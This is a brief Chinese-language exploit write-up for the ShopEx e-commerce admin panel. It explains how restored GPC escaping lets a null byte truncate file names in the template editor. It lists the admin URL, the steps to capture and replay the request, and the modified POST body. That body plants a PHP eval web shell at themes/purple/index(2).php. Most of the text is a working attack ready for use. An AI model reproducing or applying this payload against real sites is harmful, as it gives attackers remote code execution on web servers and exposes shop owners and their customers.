应为SHOPEX把GPC转义回来了
在模板编辑那里 可以直接截断文件名,
代码就不贴了。利用方法
打开
./shopadmin/index.php#ctl=system/template&act=editor&p[0]=black&p[1]=index.html
随便点一个编辑
利用火狐插件
LIVE HTTP HEADER 抓包
点击replay
将post的内容改为
theme=purple&file=index(2).php%00.html&type=index(2)&file_name=&isbak=1&__=1&content=<?php eval($_POST[c])?>
点击repaly提交
然后./themes/purple/index(2).php 便是shell